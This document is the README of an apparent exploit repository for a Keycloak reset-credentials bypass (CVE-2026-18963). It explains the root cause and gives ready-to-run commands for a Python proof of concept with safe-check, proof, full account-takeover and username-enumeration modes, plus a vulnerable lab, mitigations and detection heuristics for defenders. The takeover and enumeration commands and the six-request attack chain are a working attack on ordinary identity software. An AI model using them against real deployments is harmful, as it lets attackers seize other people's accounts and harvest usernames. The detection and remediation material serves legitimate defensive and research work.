
Exploit for Keycloak CVE-2026-18963 enabling unauthenticated account takeover via reset-credentials bypass. Includes safe detection, non-destructive proof, full takeover, username enumeration, and a lab with vulnerable and patched versions.
Knowing only a username or e-mail address, an unauthenticated attacker sets an arbitrary password on any Keycloak account. The password-reset e-mail is delivered to the real victim and is never needed — the attacker never reads a mailbox, never clicks a link, and holds no prior credential or session.
Affected: Keycloak 26.0.0 – 26.7.1. Fixed in 26.7.2.
One command. No valid username required, and no side effects — it sends no e-mail, writes to no account, and stops before the exploitable step.
git clone https://github.com/Snizi/CVE-2026-18963-Exploit
cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm YOUR_REALM \
--client-id account \
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/ \
--safe-check
Python 3.9+, standard library only. Nothing to install.
Run it per realm — Forgot password is a per-realm setting, and master counts.
Details, and why the check needs no user and touches nothing, in
§4a.
Already know you are exposed? Jump to remediation and detection / threat hunting.
The repo ships a lab that boots a vulnerable 26.7.1 and a patched 26.7.2 side by side against an identical realm, plus a mailbox to watch the reset e-mail arrive and stay unread while the account is taken over:
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Authorised testing only
This repository exists for defenders, incident responders and authorised penetration testers. Run it against systems you own or hold written permission to test. Everything here ships with a self-contained vulnerable lab (
lab/), so nothing external needs to be touched to learn how the bug works. Pointing it at third-party infrastructure without authorisation is illegal in most jurisdictions and is not something this project supports.
References: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · fix keycloak#51844
Two defects chained. Neither is exploitable alone.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — any POST carrying the form key tryAnotherWay:
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
The note is a bare boolean with no record of which execution set it. It is
cleared only in the branch that handles a submitted authenticationExecution
parameter. Omit that parameter — as this PoC does throughout — and the flag stays
set for the life of the authentication session.
processFlow() — while the flag is truthy, normal flow evaluation is skipped:
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".
The glue is processResult() case FORK: — when Send Reset Email fires it stamps
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks
the browser to the login page. The parked execution is precisely the e-mail gate.
services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java
@Override
public void action(AuthenticationFlowContext context) {
context.getUser().setEmailVerified(true);
context.success();
}
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so reaching action() is treated as equivalent to proving mailbox control.
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Six HTTP requests, no authentication, no authenticationExecution parameter at any
point.
model.getId(), and processFlow() honours it only when it
equals CURRENT_AUTHENTICATION_EXECUTION, otherwise removes it. In the attack the
two differ (choose-user id vs. e-mail-gate id) — exactly what the patch detects, and
exactly the signal --safe-check keys on.ResetCredentialEmail.action() now requires
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
and otherwise fails with INVALID_USER.6a9e60bb, which added the "Try another way" authenticator-selector screen to
the reset flow. Anything older simply lacks the code path. That includes the old
WildFly-based distributions and RH-SSO 7.x, which are unaffected by this bug
while remaining end-of-life and vulnerable to plenty of others. Staying on a
legacy build is not a remediation.26.7.2 is the only fixed release
published for the community train. If a deployment sits on 26.0 – 26.6, there is
no patch release on that line — the fix requires a minor-version upgrade, not
a point release. The 26.4.15 / 26.6.6 tags are vendor backports and are not
interchangeable with community images.Preconditions: the realm has Forgot password enabled and its bound
reset-credentials flow uses the built-in reset-credential-email authenticator.
The repo ships both a vulnerable and a patched Keycloak, importing the identical realm, plus Mailpit to capture the reset mail — so you can watch it arrive and stay unread while the account is taken over.
cd lab
docker compose up -d
Realm poc, public client poc-app, user victim / OriginalPassw0rd!, Keycloak
admin admin / admin.
Pin different builds with KC_VULN_VERSION / KC_PATCHED_VERSION:
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
Between runs, lab/reset-victim.sh restores the victim's password
(KC=http://localhost:8100 lab/reset-victim.sh targets the patched instance).
lab/legit_reset.py performs a genuine reset by pulling the action-token link
out of Mailpit and clicking it. It is the control sample for the detection work in
§9 — run it and the exploit against the same realm, then diff the traces.
Teardown: docker compose down -v.
Python 3.9+, standard library only — no dependencies, drops onto any jump box.
--base Keycloak base URL (e.g. https://sso.example.com)
--realm realm name
--client-id any enabled public client with the standard flow
--redirect-uri a URI permitted by that client (default http://localhost:9999/callback)
--insecure skip TLS verification
--verbose log every HTTP request
--dump FILE write the response body of a failing step to FILE
--client-id can be any enabled public client with the standard flow. The built-in
account client exists in every realm and is the reliable choice, but it restricts
redirect URIs, so --redirect-uri must then be
<base>/realms/<realm>/account/ — the default is rejected and step 1 fails.
--safe-check) — start hereNeeds no valid username and has no side effects. This is the probe to use when you must not disturb the target.
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
Why it needs no user, and sends no mail. ResetCredentialEmail.authenticate()
forks for an unknown user too:
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
processResult() case FORK: therefore parks CURRENT_AUTHENTICATION_EXECUTION
on the e-mail execution even though nobody was found — and no mail is sent,
because there is nobody to mail. The probe stops at the discriminator and never
POSTs the gate, so action() never runs: no NPE on the target, no emailVerified
write, no mail, no account touched.
It asserts on the positive signal only. VULNERABLE ⟺ step 5 returns a form
still inside login-actions/reset-credentials whose execution differs from the
choose-user execution. That is the bug: the stale
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note serving the parked e-mail gate.
Both halves matter — the path proves we are still in the reset flow, the differing
execution id proves it is the e-mail gate and not a re-render.
Anything else is not silently called patched. PATCHED requires its own evidence
(forked to login-actions/authenticate and a password input present); everything
remaining is INCONCLUSIVE and needs a human. An earlier design treated "not the
gate form" as patched, which quietly turns every custom theme, error page, WAF
block and interstitial into a false clean bill of health.
--check)Drives the full chain but stops at the Update Password form. Reaching that form without an action token is conclusive.
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
Two side effects are unavoidable, because they happen upstream of the password form — state them in the engagement scope:
action() sets emailVerified = true on the account.No credential is modified. Prefer a dedicated test account.
Lab or explicitly authorised demonstration only.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--victim victim --new-password 'PoCPassw0rd!1'
Exit 0 vulnerable · 2 not exploitable · 1 password changed but the confirming
grant failed (point --verify-client-id at a client with Direct Access Grants).
Completing the flow also returns an OIDC authorization code for the victim, so takeover is immediate — no second login with the new password is required.
--enum)The same flaw is a username oracle, and a stronger one than Keycloak normally
allows. ResetCredentialEmail.authenticate() deliberately returns an identical
"You should receive an email shortly" for real and unknown users, so the reset
form itself cannot be used to enumerate — that defence still holds at step 4. It
breaks at step 6, where action() dereferences the user unconditionally
(context.getUser().setEmailVerified(true)).
| Identifier | Step 6 | Verdict |
|---|---|---|
| real user | 200, reaches the Update Password form | VALID |
| unknown user | 400 (NPE error page) | INVALID |
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
Never changes a password. Exit 0 if any identifier resolved, 2 otherwise.
Cost per probe — read before running. Reaching the oracle requires completing
step 4, so every probe against a real account sends that person a genuine
password-reset e-mail and sets emailVerified = true on their record. It is not
a quiet check: it is visible to the account holder and it mutates their data. A
5,000-name wordlist is 5,000 e-mails to real people and 5,000 mutated accounts.
Use it to demonstrate that the oracle exists on a handful of identifiers for the report — not to harvest a directory. The guards are deliberately conservative:
--enum-max N refuses lists longer than N (default 25)--enum-delay SEC pauses between probes (default 2.0)Raising either should be a conscious decision recorded in the engagement notes.
Reporting angle: this defeats an anti-enumeration control Keycloak implemented on purpose. Worth writing up as its own finding alongside the takeover, and it kills "our usernames aren't guessable" as a mitigating factor.
Any serious deployment ships a custom login theme, and custom themes rename or drop
the stock element ids (kc-form-login, kc-reset-password-form,
kc-select-credential-form, kc-passwd-update-form). A tool that keys on those ids
reports a false negative on exactly the deployments that matter most — this one
did, before it was rewritten. Themes seen in the wild use ids like id="login-form"
and ship a forgot password anchor with an empty href.
This PoC therefore keys on nothing that a theme controls:
action= of the forms
on the page — login-actions/reset-credentials, login-actions/authenticate,
login-actions/required-action — and from the execution query parameter inside
them. Those paths are produced by Keycloak's own LoginActionsService, not by
the theme.grep the source: there is not one kc-* id in it./realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… and probes
it directly, taking tab_id from whatever form the login page does expose.If a target still returns INCONCLUSIVE, run with --verbose --dump out.html and
read the response — the tool deliberately refuses to guess.
A client that enforces PKCE rejects step 1 with
Missing parameter: code_challenge_method. This is reported as INCONCLUSIVE
(exit 3), never as a pass. Until PKCE support lands, a realm whose only usable
public client mandates PKCE cannot be checked with this tool — try the built-in
account client, which normally does not enforce it.
Every run below is against the lab in this repo, using the code as published.
Two findings worth flagging beyond the advisory text:
ResetCredentialEmail.authenticate() takes the forkWithSuccessMessage path when
user.getEmail() is null, which still parks the execution via case FORK:. The
same holds for an SMTP send failure — a broken or absent mail server is not a
mitigation. This matters directly for AD/LDAP-federated realms, where accounts
frequently carry no mail attribute.MFA is not a mitigation. The default reset-credentials flow contains no OTP step, and once through, the attacker can remove the victim's registered factors.
Fix: upgrade. 26.7.2 for community builds, or the vendor backport tag matching your subscription. Everything below is a stopgap.
Interim mitigations, best first:
master included.Realms whose bound reset flow is fully custom and never invokes
reset-credential-email are not exploitable via this path.
Keycloak emits no "action token skipped" event, so detection is heuristic. Run
lab/legit_reset.py alongside the exploit to generate both traces and compare.
GET /login-actions/action-token?... (the victim clicking the mail) before the
password change. The bypass has no such GET. Instead it shows a POST to
login-actions/reset-credentials whose body contains tryAnotherWay, followed by
a second POST to the same path with an empty body, then the password form.
A tryAnotherWay POST inside the reset flow is not something the stock UI produces
in normal use.SEND_RESET_PASSWORD followed by UPDATE_PASSWORD sharing the
same code_id within a few seconds — sub-second in the lab. A user with the mail
already open can look fast too, so corroborate with the proxy logs.emailVerified flipped to true with no corresponding
VERIFY_EMAIL event are a useful supporting indicator, and one the attacker
cannot avoid leaving.Absence of events proves nothing if event logging or retention was off. Check the retention window before concluding a deployment was not hit.
Snizi — github.com/Snizi — [email protected]
Released under the MIT License. Issues and PRs welcome — particularly PKCE support and additional real-world theme quirks.
| Exit | Verdict | Meaning |
|---|
0 | 🔴 VULNERABLE | the parked e-mail gate was served — the bug itself |
2 | 🟢 PATCHED | the flow forked to login and stayed there (fix #51844 present) |
2 | 🟡 MITIGATED | reset-credentials unreachable — Forgot password is off. Not a patch. |
3 | ⚪ INCONCLUSIVE | unrecognised response — do not read this as a pass |
| Line | Vulnerable | Community fix |
|---|
| Legacy (WildFly-based Keycloak, ≤ 17) | not affected | — |
| Quarkus 17 – 25.x | not affected | — |
| 26.0 | 26.0.0 – 26.0.17 | none |
| 26.1 | 26.1.0 – 26.1.5 | none |
| 26.2 | 26.2.0 – 26.2.16 | none |
| 26.3 | 26.3.0 – 26.3.5 | none |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport tag) |
| 26.5 | 26.5.0 – 26.5.7 | none |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (vendor backport tag) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| Service | URL | Version |
|---|
kc-vuln | http://localhost:8080 | 26.7.1 — vulnerable |
kc-patched | http://localhost:8100 | 26.7.2 — patched control |
kc-mailpit | http://localhost:8025 | victim's mailbox |
| Exit | Verdict | Meaning |
|---|
0 | VULNERABLE | the parked e-mail gate was served — the bug itself |
2 | PATCHED | the flow forked to login and stayed there (fix #51844 present) |
2 | MITIGATED | reset-credentials unreachable — Forgot password is off. Not a patch. |
3 | INCONCLUSIVE | unrecognised response — do not read this as a pass |
| Test | Target | Result |
|---|
--safe-check | 26.7.1 | VULNERABLE, exit 0 — e-mail gate served (execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED, exit 2 — forked to login and stayed |
--safe-check, Forgot password off | 26.7.2 | MITIGATED, exit 2 — HTTP 400, flow unreachable |
| Full takeover | 26.7.1 | exit 0 — password set, OIDC code issued, password grant confirms |
| Full takeover | 26.7.2 | exit 2 — blocked at step 5, account untouched |
--check | 26.7.1 | reached UPDATE_PASSWORD; password verified unchanged afterwards |
--enum | 26.7.1 | victim and [email protected] VALID, does-not-exist INVALID |
| Credential state after takeover | 26.7.1 | new password → 200, old password → 400 |
| Credential state after blocked run | 26.7.2 | old password → 200, attacker password → 400 |
| Victim mailbox | Mailpit | reset mails delivered and unread; the action-token link is never fetched |